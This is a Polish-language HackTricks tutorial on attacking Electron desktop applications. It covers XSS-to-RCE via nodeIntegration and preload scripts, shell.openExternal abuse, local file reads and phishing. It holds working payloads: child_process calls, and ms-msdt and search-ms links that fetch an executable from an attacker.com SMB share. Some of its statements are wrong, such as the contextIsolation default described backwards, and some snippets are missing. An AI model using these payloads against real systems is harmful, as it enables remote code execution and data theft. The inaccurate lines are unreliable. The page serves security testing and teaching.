.. | ||
electron-contextisolation-rce-via-electron-internal-code.md | ||
electron-contextisolation-rce-via-ipc.md | ||
electron-contextisolation-rce-via-preload-code.md | ||
README.md |
Aplikacje na pulpit Electron
Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!
Inne sposoby wsparcia HackTricks:
- Jeśli chcesz zobaczyć swoją firmę reklamowaną w HackTricks lub pobrać HackTricks w formacie PDF, sprawdź PLAN SUBSKRYPCJI!
- Zdobądź oficjalne gadżety PEASS & HackTricks
- Odkryj Rodzinę PEASS, naszą kolekcję ekskluzywnych NFT
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @carlospolopm.
- Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do HackTricks i HackTricks Cloud github repos.
Wprowadzenie
Electron łączy lokalne środowisko (z NodeJS) i frontend (Chromium), chociaż brakuje mu niektórych mechanizmów bezpieczeństwa nowoczesnych przeglądarek.
Zwykle kod aplikacji Electron znajduje się wewnątrz aplikacji .asar
, aby go uzyskać, musisz go wyodrębnić:
npx asar extract app.asar destfolder #Extract everything
npx asar extract-file app.asar main.js #Extract just a file
W kodzie źródłowym aplikacji Electron, w pliku packet.json
, można znaleźć określony plik main.js
, w którym ustawione są konfiguracje zabezpieczeń.
{
"name": "standard-notes",
"main": "./app/index.js",
Electron ma 2 typy procesów:
- Proces główny (ma pełny dostęp do NodeJS)
- Proces renderera (powinien mieć ograniczony dostęp do NodeJS ze względów bezpieczeństwa)
Proces renderera to okno przeglądarki, które ładuje plik:
const {BrowserWindow} = require('electron');
let win = new BrowserWindow();
//Open Renderer Process
win.loadURL(`file://path/to/index.html`);
Ustawienia procesu renderera mogą być skonfigurowane w głównym procesie w pliku main.js. Niektóre z konfiguracji zapobiegną wystąpieniu RCE lub innych podatności w aplikacji Electron, jeśli ustawienia są poprawnie skonfigurowane.
Aplikacja Electron może uzyskać dostęp do urządzenia za pomocą interfejsów Node, chociaż można to skonfigurować, aby temu zapobiec:
nodeIntegration
- domyślnie jest wyłączone. Jeśli jest włączone, umożliwia dostęp do funkcji Node z procesu renderera.contextIsolation
- domyślnie jest włączone. Jeśli jest włączone, procesy główny i renderera nie są izolowane.preload
- domyślnie jest puste.sandbox
- domyślnie jest wyłączone. Ogranicza działania, które może wykonać NodeJS.- Integracja Node w wątkach roboczych
nodeIntegrationInSubframes
- domyślnie jest wyłączone.- Jeśli
nodeIntegration
jest włączone, umożliwia to korzystanie z API Node.js na stronach internetowych, które są ładowane w ramkach iframe w aplikacji Electron. - Jeśli
nodeIntegration
jest wyłączone, preloady zostaną załadowane w iframe.
Przykład konfiguracji:
const mainWindowOptions = {
title: 'Discord',
backgroundColor: getBackgroundColor(),
width: DEFAULT_WIDTH,
height: DEFAULT_HEIGHT,
minWidth: MIN_WIDTH,
minHeight: MIN_HEIGHT,
transparent: false,
frame: false,
resizable: true,
show: isVisible,
webPreferences: {
blinkFeatures: 'EnumerateDevices,AudioOutputDevices',
nodeIntegration: false,
contextIsolation: false,
sandbox: false,
nodeIntegrationInSubFrames: false,
preload: _path2.default.join(__dirname, 'mainScreenPreload.js'),
nativeWindowOpen: true,
enableRemoteModule: false,
spellcheck: true
}
};
Kilka payloadów RCE z tutaj:
Example Payloads (Windows):
<img src=x onerror="alert(require('child_process').execSync('calc').toString());">
Example Payloads (Linux & MacOS):
<img src=x onerror="alert(require('child_process').execSync('gnome-calculator').toString());">
<img src=x onerror="alert(require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator').toString());">
<img src=x onerror="alert(require('child_process').execSync('id').toString());">
<img src=x onerror="alert(require('child_process').execSync('ls -l').toString());">
<img src=x onerror="alert(require('child_process').execSync('uname -a').toString());">
Przechwytywanie ruchu
Zmodyfikuj konfigurację start-main i dodaj użycie proxy, na przykład:
"start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors",
Wstrzykiwanie lokalnego kodu w Electron
Jeśli możesz lokalnie wykonać aplikację Electron, istnieje możliwość wykonania dowolnego kodu JavaScript. Sprawdź jak to zrobić:
{% content-ref url="../../../macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md" %} macos-electron-applications-injection.md {% endcontent-ref %}
RCE: XSS + nodeIntegration
Jeśli opcja nodeIntegration jest ustawiona na on, kod JavaScript strony internetowej może łatwo korzystać z funkcji Node.js, po prostu wywołując require()
. Na przykład, sposób wykonania aplikacji kalkulatora w systemie Windows to:
<script>
require('child_process').exec('calc');
// or
top.require('child_process').exec('open /System/Applications/Calculator.app');
</script>
RCE: preload
Skrypt wskazany w tej konfiguracji jest ładowany przed innymi skryptami w rendererze, więc ma nieograniczony dostęp do interfejsów API Node:
new BrowserWindow{
webPreferences: {
nodeIntegration: false,
preload: _path2.default.join(__dirname, 'perload.js'),
}
});
W związku z tym, skrypt może eksportować funkcje węzła do stron:
{% code title="preload.js" %}
typeof require === 'function';
window.runCalc = function(){
require('child_process').exec('calc')
};
{% code title="index.html" %}
<body>
<script>
typeof require === 'undefined';
runCalc();
</script>
</body>
{% endcode %}
{% hint style="info" %}
Jeśli contextIsolation
jest włączone, to nie zadziała
{% endhint %}
RCE: XSS + contextIsolation
contextIsolation wprowadza oddzielone konteksty między skryptami strony internetowej a wewnętrznym kodem JavaScript Electrona, tak aby wykonanie JavaScriptu każdego kodu nie wpływało na siebie nawzajem. Jest to niezbędna funkcja do wyeliminowania możliwości RCE.
Jeśli konteksty nie są izolowane, atakujący może:
- Wykonać dowolny JavaScript w renderze (XSS lub nawigacja do zewnętrznych stron)
- Nadpisać wbudowaną metodę, która jest używana w kodzie preload lub wewnętrznym kodzie Electrona, aby posiadać własną funkcję
- Wywołać użycie nadpisanej funkcji
- RCE?
Istnieją 2 miejsca, w których można nadpisać wbudowane metody: w kodzie preload lub wewnętrznym kodzie Electrona:
{% content-ref url="electron-contextisolation-rce-via-preload-code.md" %} electron-contextisolation-rce-via-preload-code.md {% endcontent-ref %}
{% content-ref url="electron-contextisolation-rce-via-electron-internal-code.md" %} electron-contextisolation-rce-via-electron-internal-code.md {% endcontent-ref %}
{% content-ref url="electron-contextisolation-rce-via-ipc.md" %} electron-contextisolation-rce-via-ipc.md {% endcontent-ref %}
Ominięcie zdarzenia kliknięcia
Jeśli są zastosowane ograniczenia podczas kliknięcia linku, możesz je ominięć, klikając środkowym przyciskiem myszy zamiast standardowego lewego przycisku.
window.addEventListener('click', (e) => {
RCE poprzez shell.openExternal
Aby uzyskać więcej informacji na temat tych przykładów, sprawdź https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8 i https://benjamin-altpeter.de/shell-openexternal-dangers/
Podczas wdrażania aplikacji desktopowej Electron, ważne jest zapewnienie poprawnych ustawień dla nodeIntegration
i contextIsolation
. Ustalono, że te ustawienia skutecznie zapobiegają zdalnemu wykonaniu kodu (RCE) po stronie klienta, które jest ukierunkowane na skrypty preload lub natywny kod Electrona z procesu głównego.
Po interakcji użytkownika z linkami lub otwarciu nowych okien, są wywoływane określone nasłuchiwacze zdarzeń, które są kluczowe dla bezpieczeństwa i funkcjonalności aplikacji:
webContents.on("new-window", function (event, url, disposition, options) {}
webContents.on("will-navigate", function (event, url) {}
Te słuchacze są nadpisywane przez aplikację desktopową, aby zaimplementować jej własną logikę biznesową. Aplikacja ocenia, czy nawigowany link powinien być otwarty wewnętrznie czy w zewnętrznej przeglądarce internetowej. Decyzja ta jest zazwyczaj podejmowana za pomocą funkcji openInternally
. Jeśli ta funkcja zwraca false
, oznacza to, że link powinien być otwarty zewnętrznie, przy użyciu funkcji shell.openExternal
.
Oto uproszczony pseudokod:
Najlepsze praktyki dotyczące bezpieczeństwa w Electron JS odradzają akceptowanie niezaufanej zawartości za pomocą funkcji openExternal
, ponieważ może to prowadzić do RCE poprzez różne protokoły. Systemy operacyjne obsługują różne protokoły, które mogą wywołać RCE. Dla szczegółowych przykładów i dalszego wyjaśnienia na ten temat można odwołać się do tego źródła, które zawiera przykłady protokołów systemu Windows zdolnych do wykorzystania tej podatności.
Przykłady wykorzystania protokołów systemu Windows obejmują:
<script>
window.open("ms-msdt:id%20PCWDiagnostic%20%2Fmoreoptions%20false%20%2Fskip%20true%20%2Fparam%20IT_BrowseForFile%3D%22%5Cattacker.comsmb_sharemalicious_executable.exe%22%20%2Fparam%20IT_SelectProgram%3D%22NotListed%22%20%2Fparam%20IT_AutoTroubleshoot%3D%22ts_AUTO%22")
</script>
<script>
window.open("search-ms:query=malicious_executable.exe&crumb=location:%5C%5Cattacker.com%5Csmb_share%5Ctools&displayname=Important%20update")
</script>
<script>
window.open("ms-officecmd:%7B%22id%22:3,%22LocalProviders.LaunchOfficeAppForResult%22:%7B%22details%22:%7B%22appId%22:5,%22name%22:%22Teams%22,%22discovered%22:%7B%22command%22:%22teams.exe%22,%22uri%22:%22msteams%22%7D%7D,%22filename%22:%22a:/b/%2520--disable-gpu-sandbox%2520--gpu-launcher=%22C:%5CWindows%5CSystem32%5Ccmd%2520/c%2520ping%252016843009%2520&&%2520%22%22%7D%7D")
</script>
Odczytywanie wewnętrznych plików: XSS + contextIsolation
Wyłączenie contextIsolation
umożliwia użycie tagów <webview>
, podobnych do <iframe>
, do odczytywania i eksfiltracji lokalnych plików. Przykład przedstawia, jak wykorzystać tę podatność do odczytywania zawartości wewnętrznych plików:
Ponadto, udostępniona jest inna metoda odczytywania wewnętrznego pliku, która podkreśla krytyczną podatność na odczyt lokalnego pliku w aplikacji desktopowej Electron. Polega to na wstrzyknięciu skryptu w celu wykorzystania aplikacji i eksfiltracji danych:
<br><BR><BR><BR>
<h1>pwn<br>
<iframe onload=j() src="/etc/hosts">xssxsxxsxs</iframe>
<script type="text/javascript">
function j(){alert('pwned contents of /etc/hosts :\n\n '+frames[0].document.body.innerText)}
</script>
RCE: XSS + Stary Chromium
Jeśli chromium używane przez aplikację jest stare i istnieją na nim znane podatności, istnieje możliwość wykorzystania ich i uzyskania RCE za pomocą XSS.
Przykład można zobaczyć w tym opisie: https://blog.electrovolt.io/posts/discord-rce/
XSS Phishing za pomocą pominięcia wewnętrznego URL regex
Załóżmy, że znalazłeś XSS, ale nie możesz wywołać RCE ani kraść wewnętrznych plików, możesz spróbować go wykorzystać do kradzieży poświadczeń za pomocą phishingu.
Przede wszystkim musisz wiedzieć, co się dzieje, gdy próbujesz otworzyć nowy URL, sprawdzając kod JS w interfejsie front-endowym:
webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
webContents.on("will-navigate", function (event, url) {} // opens the custom openInternally function (it is declared below)
Wywołanie openInternally
zadecyduje, czy link zostanie otwarty w oknie pulpitu, jako link należący do platformy, czy czy zostanie otwarty w przeglądarce jako zewnętrzny zasób.
W przypadku, gdy regex używany przez funkcję jest podatny na obejścia (na przykład przez nieekranowanie kropek w subdomenach), atakujący może wykorzystać XSS, aby otworzyć nowe okno, które znajdzie się w infrastrukturze atakującego, prosząc o uwierzytelnienie użytkownika:
<script>
window.open("<http://subdomainagoogleq.com/index.html>")
</script>
Narzędzia
- Electronegativity to narzędzie do identyfikowania błędnych konfiguracji i antywzorców bezpieczeństwa w aplikacjach opartych na Electron.
- Electrolint to otwarte rozszerzenie dla VS Code do aplikacji Electron, które wykorzystuje Electronegativity.
- nodejsscan do sprawdzania podatnych bibliotek innych firm.
- Electro.ng: Musisz go kupić.
Laboratoria
Na stronie https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s znajdziesz laboratorium do wykorzystania podatnych aplikacji Electron.
Oto kilka poleceń, które pomogą Ci w laboratorium:
# Download apps from these URls
# Vuln to nodeIntegration
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable1.zip
# Vuln to contextIsolation via preload script
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable2.zip
# Vuln to IPC Rce
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable3.zip
# Get inside the electron app and check for vulnerabilities
npm audit
# How to use electronegativity
npm install @doyensec/electronegativity -g
electronegativity -i vulnerable1
# Run an application from source code
npm install -g electron
cd vulnerable1
npm install
npm start
Odnośniki
- https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028
- https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d
- https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8
- https://www.youtube.com/watch?v=a-YnG3Mx-Tg
- https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s
- Więcej badań i opisów dotyczących bezpieczeństwa Electron znajdziesz na stronie https://github.com/doyensec/awesome-electronjs-hacking
- https://www.youtube.com/watch?v=Tzo8ucHA5xw&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq&index=81
Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!
Inne sposoby wsparcia HackTricks:
- Jeśli chcesz zobaczyć reklamę swojej firmy w HackTricks lub pobrać HackTricks w formacie PDF, sprawdź PLAN SUBSKRYPCJI!
- Zdobądź oficjalne gadżety PEASS & HackTricks
- Odkryj Rodzinę PEASS, naszą kolekcję ekskluzywnych NFT
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @carlospolopm.
- Podziel się swoimi trikami hakerskimi, przesyłając PR-y do HackTricks i HackTricks Cloud github repos.